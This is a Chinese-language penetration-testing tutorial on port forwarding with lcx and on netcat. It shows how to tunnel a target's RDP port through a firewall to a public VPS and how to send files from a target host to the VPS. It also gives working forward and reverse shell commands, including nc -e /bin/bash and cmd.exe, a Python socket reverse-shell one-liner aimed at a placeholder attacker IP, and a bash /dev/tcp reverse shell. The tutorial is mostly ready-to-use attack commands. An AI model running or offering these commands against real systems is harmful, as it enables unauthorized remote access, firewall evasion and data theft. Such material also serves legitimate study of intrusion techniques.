传输层包括TCP隧道,UDP隧道和常规端口转发,内网防火墙阻止了对指定端口的访问,获取目标机器的权限后可以使用IPTABLES打开指定端口
经典端口转发工具:lcx
windows版为lcx.exe , linux版为portmap
正常的socket隧道必须具备两端:
一端为服务端,监听一个端口,等待客户端的连接
一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接
在目标机器上执行如下命令将目标机器3389端口的所有数据转发到公网VPS的4444端口上
lcx.exe -slave <公网主机ip> 4444 127.0.0.1 3389
在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上
lcx.exe -listen 4444 5555
用mstsc登陆 “<公网主机IP地址>:5555”,或者在VPS上用mstsc登陆主机127.0.0.1的5555端口,即可访问目标服务器的3389端口
如果目标服务器由于防火墙的配置,部分端口(列如:3389)的数据无法通过防火墙可以将目标服务器相应端口的数据的数据传到防火墙允许的其他端口(列如:53)。在目标主机上执行如下命令,可以直接从远程桌面连接目标主机的53端口
lxc -tran 53 <目标主机IP地址>
(1)在kali中可以使用 nc -help
或者 man nc
命令查看是否已经安装了nc
执行如下命令安装
sudo yum insatll nc.x86_64
(2)在windows中需要使用windows版本的nc
下载连接:
链接:https://pan.baidu.com/s/1SfN7Qm81fp3D9OkFRMArPg
提取码:3ds1
(1)命令查询
nc的功能很多,可以输入 nc -h
命令进行查询
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用
(2)Banner抓取
banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透过程中用于漏洞的评估
执行下列命令,从抓取的Banner信息中可以得知,目前目标主机的135端口上运行了epmap服务,版本号为2.3.4
nc -nv 192.168.227.133 135
(3)远程连接主机
nc -nvv 远程主机地址 端口
(4)端口扫描
扫描指定主机端口
nc -v ip地址 端口
(5)端口监听
监听本地端口,当访问该端口时会输出该信息到命令行
nc -l -p 9999
(6)文件传输
在本地VPS主机中传输 输入如下命令开始本地监听,,等待连接
nc -lp 333 >1.txt
在木目标主机输入如下命令与vps的333端口建立连接,并传输一个名为1.txt的文本文件
nc -vn 192.168.227.137 333 < 1.txt -q 1
传输完成 在VPS中打开2.txt文件可以看到数据已经传送过来了
(7)简易聊天
在本地VPS主机中输入如下命令 ,开始监听
nc -l -p 888
nc -vn 192.168.227.137 888
shell分为两种 一种是正向shell,另一种是反向shell
正向shell:客户端连接服务器,客户端想要获取服务器的shell
反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,
(1)正向shell
输入如下命令监听目标主机上的4444端口
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
输入如下命令,在本地或者VPS主机上连接主机的4444端口,查看当前的IP地址,已经是 192.168.227.137了
nc 192.168.227.137 4444
(2)反向shell
输入如下命令,在本地或者VPS主机上监听本地9999端口
nc -lvp 9999
在目标主机上输入如下命令,连接VPS主机192.168.227.137的9999端口
nc 192。168.227.137 9999 -e /bin/sh //linux
nc 192.168.227.137 -e c:\windows\system32\cmd.exe //windows
就可以在本地或者VPS主机上看到连接了
一般,目标主机时没有nc,可以使用其他的工具和编程语言来代替nc,实现反向连接
参考文章
(1)python反向shell
执行如下命令,在VPS上监听本地端口2222端口
nc -lvp 2222
在目标主机上执行反弹命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
xxxx:代表攻击者IP 2222:端口
查看当前IP已经是192.168.227.131,说明已经建立
(2)bash反弹
执行如下命令,在VPS上监听4444端口
nc -lvp 4444
bash -i >& /dev/tcp/x.x.x.x/port 0>&1